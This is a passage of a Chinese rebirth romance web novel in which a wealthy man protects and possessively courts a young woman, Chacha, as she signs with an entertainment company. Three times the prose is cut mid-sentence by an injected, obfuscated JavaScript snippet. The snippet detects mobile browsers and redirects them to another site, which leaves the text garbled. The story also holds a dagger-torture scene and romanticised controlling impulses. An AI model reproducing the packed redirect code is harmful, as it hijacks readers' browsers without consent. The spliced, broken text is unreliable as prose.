就像面前的这位大佬。
“您说巧不巧,我今天正好物色了一个小网红,清纯可人,一看就特别符合您的胃口,只可惜被人捷足先登了……”
没有男人不爱送上门的美人,吴永心底的小算盘打得飞起,先用美人拉近与大佬的关系,然后再从他这里捞上一笔。
想到这里,吴永笑得意味深长:“不过,我拍了她的照片,您要不要看看?”
男人掀起眼帘。
就在吴永莫名感觉周遭气温骤降,脖子一凉之时,男人开口了。
“看看。”
-
程司屿接过保镖递来的手机,修长指尖在屏幕上方一一划过。
笑得明媚可爱的茶茶,蹲在石阶上仰头喝水的茶茶,被蚊子咬红了脚踝的茶茶,从高处俯拍隐隐能透过衣领看到雪白胸口的茶茶,低角度视角仰拍的……
程司屿的面部表情在忽明忽灭的屏幕光中,显得阴沉可怖。
暗室死寂一般的静,只能听到指尖与屏幕摩擦时,发出的尖锐而细碎的声响。
“您要是不喜欢这个调调的小网红,再往前面翻翻还有别的类型……”
吴永直觉气氛不对,但他只当是眼前的大佬不爱这种寡淡美女,正堆笑说着。
只见程司屿缓缓从椅子上站起来,径直走到旁边的长桌边。
“噗通”一声,手机落入圆口玻璃杯中,瞬间被杯中的水浸没。
没一会儿,手机就熄了屏。
后知后觉明白自己刚才做了什么蠢事,吴永心中大骇,“我、我只是随手一拍,没没、没有别的……”
下一秒,他整个人像被拎小鸡仔一般,被两名保镖压到桌旁。
大脑一片空白,还没反应过来,他就被人猛得一掌按着头砸向桌面。
“哪只手碰的她?”
程司屿接过保镖递来的匕首,沉声问道。
冰冷的刀面拍打脸颊的声音,在幽闭空间中似乎还响起了回音,如锁魂铃一样,一下、一下。
吴永不敢乱动,生怕一个偏头就“不小心”擦到刀刃上,他只能狂眨着眼,大喊道:“我我我错了!再、再也不敢了!!”
“右手?”
程司屿举起匕首,寒光一闪而过。
保镖心领神会,一人死死摁着吴永的脑袋,另一人攥起他的右手强行压到桌面上。
灭顶的恐惧让吴永下意识张开五指,他目眦欲裂,眼底的红血丝在刹那间繁衍密布。
余光中,那刀刃直直从眼前砸下——
“啊啊啊啊杀人了!!!”
杀猪般的叫喊中,一道来电铃声陡然响起。
“砰”得一声,匕首精准地直插在吴永的两指指缝。
若是再往左或往右偏上那么几毫米,都会瞬间让刀刃见了红。
程司屿歪了歪头,若有所思道:“偏了?”
“既然忘了哪只手碰的。”他俯下身子,抬手握上刀把,慢条斯理地按着刀尖缓缓往右侧压下去,“那就都切掉好了……”
吴永瞳孔地震,悬着的心彻底死了。
他一边咒骂,一边疯狂想要从保镖的钳制下抽回手,显然是以卵击石。他的手指屡屡撞到刀刃上,划出深深浅浅的血痕。
铡刀般的匕首划破皮肤、抵进指骨。
突然,一道急迫的声音突兀响起。
“程总!是茶茶打来的电话!”
*
“司屿哥哥!这么晚了你怎么还不回家呀,还在忙吗?”
清亮的嗓音如同仙乐,将程司屿从阴郁中一把拽了出来。
他喉结滑动一下,“嗯”了一声,又怕茶茶误会自己态度冷淡,忙补充道:“还有些事在处理。”
“哦……”果茶拖长尾音,语气中带着一丝犹豫。
“怎么了,茶茶?”程司屿柔声问道。
电话那头的茶茶闻声叹了口气,程司屿都能想象出她此时正皱着眉头、抿着小嘴的模样。
“今天遇到了一件比较重大的事,得和家里人商量的那种程度,可是我思来想去,好像也只能问问司屿哥哥你的意见了。”
果茶顿了一下,有些难为情地说:“要是你没空的话……”
“有空!”
家里人、只能问他,何等的荣幸,他也竟能在茶茶心中占有一席之地。
程司屿攥紧手机,按住心中翻涌的千层浪,再次重复道:“有空,茶茶,我马上回家。”
挂断电话,程司屿再次踏进密室时,吴永已经被揍得面目全非、瘫倒在地。
张文勋紧张凑上前,“程总,咱这已经狠狠教训了他一顿,您可千万别再动刀了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208057|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
程总要是动手,那场面恐怕就一发不可收拾了,他还想做个遵纪守法的好市民啊!
张文勋语重心长道:“再说了,您身上要是沾了血腥气,回去被茶茶觉察到了……”
“谁打他了?”
张文勋眨了眨眼,“不是您刚才让……”
看着程司屿波澜无惊的眼眸,张文勋紧急刹车。
“他涉足不法产业证据确凿,事情败露遭人报复也是情理之中。”
程司屿颔首,看向晕死过去的男人,“好心人将他送到警局,算不算见义勇为?”
张文勋立刻会意,忙应道:“算、算!”
“那你还愣着做什么?”
张文勋“诶”了一声,叫上两个保镖将人抬了出去。
跨出门槛的那一刻,他扭头朝程司屿竖了个大拇指,笑着说:“程总,我去做好人好事了,您也快回去吧,茶茶还在家等着您呢!”
这样美妙的表述,让程司屿心脏下意识一颤。
前世,同样的时间和地点,他亲自废了吴永一只手,事情被茶茶知晓,反而坐实了他阴鸷冷血的法外狂徒形象。
可现在,他若是想清清白白、堂堂正正站在茶茶身侧,就要收敛那些不入流的手段,用法律去一一扫除那些可能会沾污茶茶的渣滓们。
还好……还好刚才那通电话及时将他从深渊边拽回。
而那通电话,正是前世所没有的。
一切都在朝好的方向发展。
程司屿眼中泛起笑意,点开与茶茶的聊天框,打字道:“茶茶,我在回家路上了。”
想了想,又给张文勋发了条短信:【涨薪15%,辛苦。】
*
回到家时,茶茶躺在沙发上睡着了。
她穿着宽大的棉睡衣,一侧衣领都快跑了肩上,两条纤细的小腿也悬在沙发外,一只拖鞋已经掉在地上,另一只则要落不落。
程司屿无奈地摇摇头,将她脚上的拖鞋摘下来,一双并好后,齐齐整整放在沙发下。
视线上移,茶茶盈盈一握的脚踝处仍有未消散的蚊子包,连着一片都有些红肿。
兀地想起吴永手机偷拍的那些照片,程司屿的那股无名怒火又几欲破土。
真TM后悔没有亲自踹上一脚。
他深吸一口气,从茶几下的匣子里抽出一支驱蚊止痒的药膏。
因为庄园植被茂盛,茶茶常被防不胜防的蚊虫叮咬,所以无论是前世还是今生,他总会备好数支药膏,放在各处伸手可得的地方。
将茶茶的小腿轻轻平放在沙发上,再寻来一张薄毯,盖住她险些走光的春色。
程司屿这才静下心,在指腹挤上豆大的透明药膏,手法娴熟地在她的脚踝处,细细打着圈儿涂抹起来。
肌肤摩挲的细微触感,让睡梦中的果茶感到一丝痒意,她还以为又有蚊子在咬自己。
不耐烦地哼了一声,翻身之际,她无意识地蹬了蹬腿,脚底“嘭”地踢到了一个有些软又有些硬的物体。
果茶迷迷糊糊眯着眼看过去,自己的脚心竟严丝合缝地贴在程司屿脸上。
“啊!!!”
她猛得缩回脚,连滚带爬差点掉到地上,下一瞬就被程司屿拦腰搂回沙发。
没有意料中的恼怒,也没有想象中的斥责,程司屿反而眼眸带笑、语气温和地问道:“跑什么?”
12. 寄给茶茶的第12封信
薄薄的睡衣形同虚设。
腰间覆上的大掌温热有力。
果茶不自在地挪了挪身子,试图拉开彼此的距离。
程司屿当即反应过来,自觉移开手掌,“抱歉茶茶,事发突然,担心你会掉下去,所以才……”
“嗯我知道的,谢、谢谢司屿哥哥。”果茶小声应道,却默默地埋下了头,她感觉自己的脸正臊得不行。
余光中,瞥见脚腕上涂抹均匀的药膏,果茶讶异了一声。
程司屿顺着她的视线看过去,心中一凛。
他方才看到茶茶腿上的抓痕,出于肌肉记忆般的本能,想也没想就直接替她抹上了药膏,毕竟这样的事他曾做了无数次,尽管那时候的茶茶也并不喜欢他的靠近。
但现在,他在单纯的茶茶面前俨然伪装的是一副正人君子做派,正经人怎会趁着小姑娘熟睡之际,毫无分寸地握着人的脚踝擦药呢?
生怕自己在茶茶心中的人设破灭,程司屿忙解释起来:“你睡觉时一直挠着伤口,我就擅做主张替你涂了药。”
也不给果茶细想的时间,他随即问道:“还痒吗?”
果然,直脑筋的茶茶立刻就被他的问题牵着走了,“不痒了。”
果茶不仅没觉得他是个心怀不轨的伪君子,反而还眉眼弯弯地谢他:“司屿哥哥,你真好!”
程司屿眉心一跳,面色如常回道:“举手之劳。”说罢,或是心虚,他偏过头,从手边抽出一张湿巾,擦拭掉指腹残留的药膏。
只听果茶又接着说了一句:“果果妈妈也会帮我擦药膏,你就和果果妈妈一样好!”
感情只是把自己当成了“妈妈”。
程司屿手上动作一顿,仅剩的那点心虚也一扫而空,他将湿巾丢进垃圾桶,扭头转移话题:“茶茶在电话里说有事同我商量?”
果茶这才想起来自己还有正事没做,她“噔噔噔”跑到楼上房间,又风风火火跑下来,喘着气将名片递给程司屿,“今天在景区,遇、遇到有人……”
“不急,慢慢说。”程司屿示意她坐到自己身侧,自然地抬手为她抚背顺气。
陡然间脑袋中又回荡起茶茶刚才那句“你就和果果妈妈一样好”,他默默放下手,将水杯移到果茶面前,然后佯装毫不知情地看起了名片。
果茶一口气说完今天工作中遇到的事情,端起水杯喝上一口,“情况就是这样,那个叔叔说签合同是件大事,得和家里人商量……”
果茶越说越没有底气。
她当然知道司屿哥哥对她很好,这种好让她感受到了同家人一般的温暖,但她觉得或许只是因为司屿哥哥本性就是如此的良善,不只是对她,他也许对万事万物都是温柔以待。
那她把他视作“家人”,事事都想着倚靠他,岂不是为他徒增麻烦?
想到这里,果茶心里也不禁忐忑起来。
程司屿是何等了解茶茶,她的一颦一笑、一举一动,甚至是语气的轻重缓急,他都能知晓她心中所想。
他将名片握在手里,直视果茶闪躲的目光,“茶茶,我很高兴你能同我商量这件事,但不止这件事。”
果茶眼睫一颤,缓缓抬起眸子回望他。
四目相对,一边犹豫而退缩,一边坚定而温和。
“我说过,你可以找我做任何事,任由差遣。”
这句话瞬间将果茶拉回那个盛夏的夜晚,舒爽的海风、遗落的笔记本,明明只见了几面却屡次向自己伸出援手的好心哥哥,以及……
「让我也做你在这座城市的人脉。」
果茶的心砰砰直跳,她此前从未将这句话放在心上过,毕竟谁会将陌生人的许诺当真。可现在他们不再是陌生人,而是可以称为“家人”的存在。
原来,程司屿真的一直在践行着他的承诺。
“这家公司虽刚成立不久,但财力雄厚,董事长与我有过工作上的往来,可以信赖。”
程司屿认真分析起来,“至于董成,我也略有耳闻,能力出众、人品不错,他能选中你定然是因为你的某种特质打动了他……”
程司屿的话萦绕在果茶耳边,可她却仍沉浸在那夜的回忆中,对他当下的建议是一个耳朵进一个耳朵出,全然隔绝脑后。
“茶茶,你怎么想的?”
像是上课分心的学渣突然被老师点名,果茶脑袋一蒙,只听到了最后一个“想”字。
她脱口而出:“想你!”
程司屿一愣,还以为自己幻听了,“什么?”
果茶紧急改口,红着脸支支吾吾道:“想、想你说的这些话……说、说得……说得有道理!”
果然是自己幻听了。程司屿理所当然地点点头,继续刚才的问题:“茶茶想进娱乐圈吗?”
前世,茶茶临终前参与拍摄了林鹿的医疗类纪录片,她说她想作为“素材”在这个世界存留下一点印迹。
他也正是通过这个节目,才知道原来茶茶一直很喜欢唱歌,如果不是他的介入,学声乐专业的她理应能实现自己的歌星梦想。
程司屿还记得他第一次听到茶茶唱歌,是在一个凉爽的清晨。
因为连着几日大大小小的手术,她已经很疲惫虚弱了,浑身都有些水肿,不便出镜。拍摄本应暂停,可茶茶不想因自己而耽误进度,便想着不露脸唱首歌当做赔礼。
因为生病,她原本细软的嗓音变得沙哑乏力,甚至没办法完整地唱完一句歌词。可程司屿仍觉得那是他听过最悦耳的一首歌,他那时想,等茶茶病好了,无论她想要什么,当歌星、出唱片、开演唱会……他都会一一为她实现。
只是没想到,那竟成了她在人世间留下的……绝唱。
“我、我也不知道……”
清甜的声音将程司屿从阴暗的地狱拉回人间。
他敛眸,藏起眼底几欲溢出的悲痛。耳边,茶茶自顾自说道:“如果能进娱乐圈的话,说不定会打探到枝枝姐的消息。”
“不考虑其他因素,单
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208058|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问问你自己的内心。”程司屿说。
问问自己的内心……这句话让果茶有些迷糊。
如果可以的话,她自然想像枝枝姐那样成为万众瞩目的明星,这样即使她不在果果妈妈身边,妈妈也能像曾经在电视机前守着看果枝一样看到她了。
而且听说当明星很赚钱,那她就可以给福利院捐好多好多钱!福利院好些弟弟妹妹们都患有稀奇古怪的病,不致命却折磨人,即使有政府拨款,那也只能供日常开销。
若是她有了钱,就可以给他们看病,等他们的病看好了,就能被好心的叔叔阿姨们领养回家。
要是程司屿能倾听到果茶内心的想法,定会说“这依然属于为别人考虑的其他因素,并不是你本人的意愿”。
但果茶一直觉得能让别人幸福,那她也会感到幸福。
理清这一点后,她坚定地点了点头,“我想进。”
像是尘埃落定,也像是无力回天。
程司屿的心渐渐沉了下来,他虽筹备了这么久,隐藏身份成立娱乐公司、重金挖人、再让董成以星探形式向茶茶抛出橄榄枝,无非是为了给茶茶搭台铺路。可真到了最后抉择关头,他也难免会瞻前顾后起来。
若是茶茶说她无意进娱乐圈,那他便还有自欺欺人的余地,或许,他还可以采取一种不同于前世的,更温和的方式,将她哄骗在自己身边。
可茶茶有自己的梦想,有自己想要做的事,他不能再枉顾她的意愿,让她做一只折翼的鸟、最终在笼里郁郁而终。
他很清楚,以茶茶的性格,无论她去哪儿都会招人喜欢。待她遇到更多的人、经历更多的事、见到了更大更新奇的世界,她会不会轻而易举就能看破他的伪善,会不会发觉他其实既无趣又下作……
更何况,他还比茶茶大八岁,那时她在荧幕上像小太阳一般光芒万丈,而他,只是一个躲在阴暗角落觊觎着瑰宝的老男人罢了。
真到了这般境遇,他又当耍什么手段才能留住她的心?
“不能放她走!把她藏起来,像前世那样,只能供自己一人欣赏!”程司屿心底那个冒着黑气的小人面目可憎地叫嚣道。
“绝不可以这样做!你忘了这种做法把茶茶害成什么样了吗?你难道还想亲眼看着你们落得那样的下场吗?你忘了自己重生的目的是什么了吗?!”冒着白雾的小人反驳着。
就在程司屿内心经受着反复的拉扯与凌迟之时,果茶伸出指头,轻轻戳了戳他的手背。
“司屿哥哥,你觉得我应不应该签呢?你的意见对我来说,很重要!”
决策权戏剧般地转交到了他的手上。
回答不应该,茶茶还能在自己掌控之中。
回答应该,茶茶往后可以活得更加肆意自由。
程司屿睫羽微颤,半晌,紧攥的拳头才堪堪松开。
在果茶信赖而期待的目光注视下,他艰难地说:“……应该。”
“茶茶,你值得拥有更广阔的天地。”
13. 寄给茶茶的第13封信
得知果茶要签娱乐公司的消息,周岚等人纷纷表示祝贺和理解。
果茶本就是兼职,项目又处在试点期,能引起这番热议已是意外之喜。至于演职人选,他们早已做好AB角的备案,倒不会因果茶的缺席而打乱阵脚。
“哎呀别想太多啦。”看到果茶内疚的神色,小荷笑着戳了戳她的脸颊,“等你更火了,到时候回景区做限时返场嘉宾,咱景区岂不是一人得道鸡犬升天……”
话没说完,周岚轻咳一声,打断她“不知轻重”的调侃。随后有些忧心地提醒果茶:“都说娱乐圈是个大染缸,茶茶你可要机灵点、保护好自己。”
「无需惧怕,我会一直在你身边」
那夜程司屿对自己说的话仍历历在耳,果茶默默捏了捏发烫的耳垂,对着他们认真地点点头。
“谢谢岚姐、小荷,我会努力的!”
*
MUCHA娱乐公司大楼。
因果茶还在读书,只能签订经纪合同,走完各种流程也用了大半天。
签完合同,董成在前面带路,为她介绍起艺人部的各个职能部门。
员工们也都很好奇“公司签的第一个艺人”长什么样,有些外向的甚至还没等他们走到自己部门,就提前跑出来打招呼。
大家脸上都挂着善意的笑容,这让果茶有些受宠若惊。为了表示自己的感谢,她见到一个人就眉眼弯弯地鞠个躬、问候几句。
董成也不拦着她,每个艺人都有自己的习性,而这些习性正是他们日后在娱乐圈立足的独特魅力。
不过他实属没想到,果茶看起来软糯温吞,内里竟是个绝对的社牛,没过一会儿,她就和整层楼的员工混熟了。
那些被甜妹笑容攻势拿捏的员工,再往其他楼层、其他部门的好友们交流一下所得信息,不出俩小时,公司上下都在传“艺人部的长公主人特别漂亮,性格也可爱,快来压压宝,赌她进了圈后能不能火”。
当然,这些内部八卦,此时还没有传回果茶耳中。
董成介绍完注意事宜后,给果茶配了一名助理唐小彤,“往后你的生活起居、行程协调对接等都由她负责。”
闻言,果茶偷偷向唐小彤挥了挥手,跟着招财猫似的。
本还有些拘谨的唐小彤面上一红,忍住比AK还难压的嘴角,心想:公司内部群传的八卦所言不假!真人手办被我搞到了!
就在两人“眉目传情”之际,董成将一个台本递给果茶。
“我手上倒是有不少时尚和影视资源,但以你现在的咖位可能会引人质疑,容易适得其反。我的建议是,你先上综艺露个面,看后续的观众反响再考虑是否接下其他大的资源……”
看着认真翻阅综艺台本的茶茶,董成话头一顿。
公司第一个签约艺人,这个title不可谓不重大,大小资源于情于理都会向她倾斜,更何况程司屿又是个财大气粗的主儿,人都还没踏进圈呢,就为她事无巨细地铺好了前路。
董成不怀疑果茶一定会火的事实,他深知,只要钱砸得够多、宣发和通稿够别出心裁,即使是再无能无德的人也能飞上天。
但他现在更担心的是,程司屿的鼎力相助和操之过急,可能会让果茶恃宠而骄,反而在纷繁复杂的娱乐圈里迷失了方向。
他沉思片刻,试探性说:“当然,如果你想现在就接下那些大的资源也不是不行,那些本就是为你准备的……”
果茶摇了摇头,合上手里的综艺台本,“董叔的建议是为我好,即使拥有了那些大的资源,我目前也把握不住,理应一步一个脚印才对。”
“况且……”她指着台本上的综艺名,高兴地晃了晃,“我喜欢这个综艺!”
《猫猫会客栈》,这是花城电视台新开的生活体验类慢综,采取边录边播的形式,由圈内德艺双馨的乔如是、崔普夫妇在烟汀海湾经营一家客栈,与两名小年轻员工、数名飞行好友,共同招待前来就餐的食客。
听起来倒没有什么特殊之处,毕竟慢综市场也已趋于饱和。
但背靠国家级卫视上星、影帝视后坐镇,最重要的是程司屿往里投了不少资金,播出后确保果茶在全国观众面前混个眼熟不成问题。
董成自然不会将这个内情告诉果茶,不过,他倒是很满意她的表态,至少现在看来,她仍是个有自己的思考和主见的人,“行,综艺很快就要开始录制了,你最近几天好好准备一下。”
想到以程司屿对果茶那宝贝劲儿,她应当也是从小养尊处优惯了,董成忍不住叮嘱道:“茶茶,你去综艺是做员工的,在镜头面前,装也要装得勤快些,可不能犯懒喊累……”
说罢,他伸出食指点了点唐小彤,正言厉色道:“注意提醒茶茶的一言一行,从现在开始要控制饮食,确保上镜前有个完美状态。”
接下来等待录制的几天内,果茶当真按照董成的要求,严格控制自己。
各类大厨想着法子诱惑她多吃一些,她都置若罔闻。
这事被王麟告状到程司屿那里,他坐不住了。
茶茶已经够瘦了,若还节食,万一把身体搞垮了……程司屿心脏猛得一跳,前世茶茶骨瘦如柴的模样又清晰地浮现在眼前。
他推掉手上的应酬,赶回了家。
果茶正在健身房锻炼,她穿着运动背心短裤,头发在脑后扎成高高的丸子头。
许是已经在跑步机上跑了有段时间,她有些微喘,白里透红的脸上以及裸露在外的脖颈处,都挂着晶莹的汗水,修长莹润的胳膊和腿并不显羸弱,反而带着健康的美感。
整个人就像是露气中亭亭玉立的荷花,散发着让人难以移目的朝气。
透过斜前方的落地镜,果茶瞥见了门口的程司屿。
她面上一喜,按停跑步机,飞奔向他。
那乳燕投林的架势,让程司屿险些以为茶茶是要扑进自己怀里,就在他差点抬起手臂接住她时,果茶及时刹车,在距离不过半臂的地方停下。
“司屿哥哥!今天这么早就回来啦!”果茶扬起灿烂的笑容,说话间,额上的汗水顺着鬓角滴落,隐入锁骨下。
程司屿默默放下手,将显得有些自作多情的手臂背到身后,强行逼自己从她的脖颈间移开视线。
“听王叔说你这几日都没有好好吃饭?”
果茶一听这话,嘴角瞬间耷拉下来,“王叔叔明明答应了我不告状的,骗子……”
司屿哥哥哪儿都好,总会想方设法寻来各色美食喂饱她的肚子,即使忙于工作、无法按时回家和她一起用餐,他也会差人提醒她好好吃饭,就好像上辈子她是什么饿死鬼一样。
所以要节食这件事,茶茶本想着多一事不如少一事,不告诉他、免得他担心,结果没想到还是传到了他耳边。
-
程司屿倒也不是想要质问茶茶,可听到这声嘀咕,他才意识到原来她是有意与王麟“同盟”、一起瞒着自己。
这件事虽小,但有关茶茶的任何一丝风吹草动,都足以引起程司屿的警觉,更何况他深知茶茶的性子,她善良心软、总担心自己会麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208059|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别人。
前世,程司屿并未将这些无伤大雅的小性子放在心上,于是她把所有事情都埋在心里,就像是一个恶性循环,直到轰然崩塌。
程司屿想要纠正她这个习惯,他必须得让她知道,有什么事都可以同他商量、不要自己一个人扛。
不过也不急于这一时,待果茶擦完汗、换了身干净衣服,他才招呼她坐到自己身侧,“为什么想要让王叔瞒着我呢?”
语气虽温和,但话里话外都是一副兴师问罪的样子,果茶缩了缩脖子,“明天就要上镜了,董叔说这段时间让我克制饮食……”
“不对。”
程司屿瞬间抓住了这句话的逻辑漏洞,“克制饮食如果是合理要求,茶茶自然可以跟我说,我并不会干预你的决定。”
所以是她自己不想让他担心,为了避免“麻烦”而选择隐瞒。
她怕麻烦别人,换言之,他是“别人”,他也是那个“麻烦”。
程司屿不得不承认,茶茶并没有她表现的那样信任自己,而他却贪婪地想拥有她的绝对信任。
“茶茶,既然你叫我一声哥哥,那我也得担起哥哥的责任。”程司屿目光灼灼地直视她,“我希望任何事,茶茶都可以同我诉说,试着麻烦我、依靠我、相信我……”
果茶一听急了,“我很相信司屿哥哥呀!”
“不够。”
程司屿眼眸一暗,一字一句地说:“还可以更加……”更加过分地指使他,只要他有,他就一定愿意给、也愿意为她做。
不过这时的果茶还不懂他眼底的深意,她只能老老实实地划重点——她以后可以更加相信、依靠、麻烦司屿哥哥。
但……这真的是可以的吗?果茶有些迷糊了,她总说“司屿哥哥你真好”,可她从未认真想过他为什么对自己这么好。
从他们初次见面,程司屿就一直在对她伸出援手,就好像他们相识多年一样感情深厚。
果茶从小到大都没有和旁的异性这么近距离地接触过,在福利院大家都亲密无间,在学校她也没什么异性同学,没人教导她何为矜持、何为男女授受不亲。
所以,她和程司屿这样的相处模式是正常的吗?
还没待她细想,程司屿就换了话题,开始忧心她明日上节目的衣食住行起来。
看着他忙前忙后为自己装起行李箱,果茶心里涌起一阵暖流,突然想到什么,她噗呲一笑。
“好像爸爸。”
听到茶茶的喃喃自语,程司屿动作一顿,还没反应过来,只见小姑娘有些落寞地垂下头,“不对,是像想象中的爸爸。”
程司屿叹了口气,站起身将果茶搂进怀里,大掌覆上她的后脑勺,轻轻揉了两下,故作轻松地调侃道:“今天像爸爸,前几天像妈妈,再过几日还会像什么?”
什么时候能像男朋友、像老公?
果茶就着他的手仰起头,没有回答他的话,只是弯起眉眼,笑得格外甜。
这谁顶得住。程司屿心虚地撇开眼,一向气定神闲的性子此时竟也变得慌乱起来。
“茶茶,以后对着其他男人……”可别这样笑。
“什么?”果茶歪了歪头。
程司屿咽下未说出口的话,“没事。”
她是笑还是怒,是软萌可爱还是蛮横无理,是穿得性感还是包裹严实,都不会妨碍有人像他一样,无可救药地爱上她。
他不该为了假想中的潜在风险而限制茶茶,但他可以——
打断那些对她怀有不轨心思的男人们的腿。
14. 寄给茶茶的第14封信
综艺在台风过境后的一个凉爽清晨开录。
果茶抵达猫猫会客栈时,大厅里除了蓄势待发的摄影师们,并不见其他人的身影。
刚把行李箱放在置物区,不知从哪儿窜出一只敦实的橘猫,竖着高高的尾巴贴着她的小腿绕来绕去,像个小话痨似的喵喵叫。
“原来客栈真的有猫猫呀!”
果茶蹲下身子,双手并用撸了撸胖橘的脑袋,下一秒,它就翘起屁股,当真毫不见外地盛情邀请她给自己拍屁。
果茶失笑,拍了没两下,一个身影从半开放厨房里风风火火地走出来,将手里的大碗稳稳搁在桌上。
是那位家喻户晓的视后乔如是!果茶忙起身,正要抬手打个招呼。
乔如是也看到了她,“诶来啦?茶茶是吧?”
果茶激动地点点头,迎上前去,有些不敢相信地直愣愣盯着她,“您……是真的乔乔姐吗?”
“这还能有假?不过……”
看着果茶稚嫩的脸庞,乔如是老神在在地晃了晃食指,“可不是乔乔姐了,我这岁数都可以当你妈了。”
乔如是本以为果茶会像其他人那样,客套又恭维地夸她“你这么年轻漂亮自然是姐姐”“姐姐永远18岁”。
结果茶茶微讶地张开嘴,歪了歪头有些迟疑地问:“那……乔妈妈?”
这傻乎乎的模样逗得乔如是粲然一笑,无论是装的还是真的,至少这一刻,倒让乔如是真觉得面前的小姑娘挺有趣的。
她笑着摇摇头,用指腹亲昵得点了点果茶的额头,“小丫头,还没吃早餐吧?”
她把桌上刚出炉的馄饨推到果茶面前,“正巧,这是给你准备的。”
店外阴雨未散、海风瑟瑟,这碗热气腾腾的馄饨显得更加诱人了。
“谢谢乔乔姐!”
果茶正要动筷,董叔和小彤的叮嘱霎时魔音穿耳,她迟疑地停下手上的动作。
“怎么了?是不是有点清淡?你要是爱吃辣的话……”乔如是伸直手,够到旁边的辣油盒。
“不是不是,我很想吃。”果茶不好意思地解释,“但助理和经纪人让我节食,说上镜会更好看一点……”
乔如是挑了挑眉,小年轻女明星不都是天生的“小鸟胃”“不爱吃”吗?没想到她这么实诚,竟当着镜头直接说是经纪人要求节食。
乔如是此前并不认识果茶,早上才打听到参与录制的小员工是个刚出道的新人,据说还是一夜火起来的网红,现在看来确实有一种“刚入行的清澈愚蠢气质”。
不过……倒挺可爱。
“来这儿了还想节食?”乔如是好笑地敲了敲碗,反手指向厨房,“这可是我家那位掌厨亲自包的,不吃的话,他要是生气了我可不会帮你说话哦……”
“那……”
果茶眼巴巴地盯着比自己脸还要大的碗,一副“这是你们威胁我吃的,可不是我自己忍不住”的表情,“那我开动啦!”
乔如是爽朗笑道:“快吃吧,你经纪人怪罪下来,我去跟他理论。”
-
吃完后,果茶主动洗了碗,还自告奋勇帮崔普理起菜。
一来二去中才知道,原来这家民宿兼餐厅并非节目组临时搭建,而是夫妻二人所开。他俩是丁克,没有孩子,就想着开家店以后还能回这儿养老。
作为电影学院的大学同学,崔普和乔如是早年携手闯荡娱乐圈,一直不温不火,没有背景和人脉,再加上英年早婚不炒绯闻,可想而知,很难在娱乐圈冒出头。
说到这里,崔普感慨万分:“当年电影都开拍了还被撤了资,差点连回家的机票都买不起,所幸遇到位好心老板赞助……”
乔如是笑着接过他的话茬,“也幸亏你演得还算不错,电影获奖了,倒是没让老板看走眼。”
作为演员,能不能扬名立万就在一瞬间,而这一瞬间可能需要无数个夜以继日的叠加。也正是这部电影,改变了他们的人生走向。
果茶听得泪眼汪汪,“那位老板真是大好人!好人一生幸福!”
孩子气的模样惹得夫妻二人相视一笑,乔如是递了张面巾纸给果茶:“又哭又笑,果然还是个小朋友。”
崔普也满眼慈爱地拍了拍果茶的肩膀,“说不定之后还能请他来咱们店做做客呢,也不知他有没有时间。”
“等他来了,我一定会好好招待他的!让他体验到家一般的温暖!”果茶挥了挥拳头,颇有身为客栈招财猫的自觉。
谈笑之际,第二个“员工”也拖着行李到了。
祝余,选秀出道的流量明星,不过现在已经成功转型做了创作型歌手,名副其实的OST大户。
果茶听过他的几首歌,很喜欢,便自来熟地与他聊起天,准确的说是单方面地聊天。
用粉丝的话来说祝余是“阴郁型美男”,实际上就是孤僻厌世,也得亏果茶是个钝感力超强的话痨,不然一般人真没法跟他搭上话。
录制第一天,导演安排的拍摄内容是内部员工培训、熟络感情。客栈暂未营业,所以并不算忙。
晚间,几人在客栈靠海的露天吧台点了几盏灯,开了几瓶香槟,在海风下吃着自产自销的烧烤,氛围温馨而快活。
酒劲上头,果茶提议一齐去沙滩上散步消食,其他几人也都由着她。
没曾想果茶竟脱了鞋在沙滩上说躺就躺,活像个见到了泥坑的小萨摩耶,翻了个身就睡着了。
乔如是笑得见牙不见眼,“网上那句话怎么说来着?年轻就是好,倒头就睡。”
夫妻俩还想在海边走走,乔如是便只能派祝余将醉醺醺的果茶送到客栈房间。
祝余一手虚虚揽着果茶,一手帮她拎着鞋,面上也不见一丝埋怨。
两人正东倒西歪走着,突然一阵电话铃声响起。
祝余只用了两秒就锁定声源处,他轻晃果茶的肩膀,“茶茶,你的手机响了。”
果茶呆了好一会儿才反应过来,迷迷糊糊地从口袋里胡乱翻找起手机,翻着翻着又忘了自己在找什么东西,继续呆在原地。
祝余叹了口气,从她背带裤前口袋里掏出手机,正要帮她按下接听键。
电话被挂断了,来电显示上写着【A司屿哥哥】。
下一秒,来电铃又响了。
看了看身侧耷拉着脑袋的果茶,祝余犹豫数秒,替她接了电话。
还没开口说话,电话那头语气极冷地说:“把手机还给茶茶。”
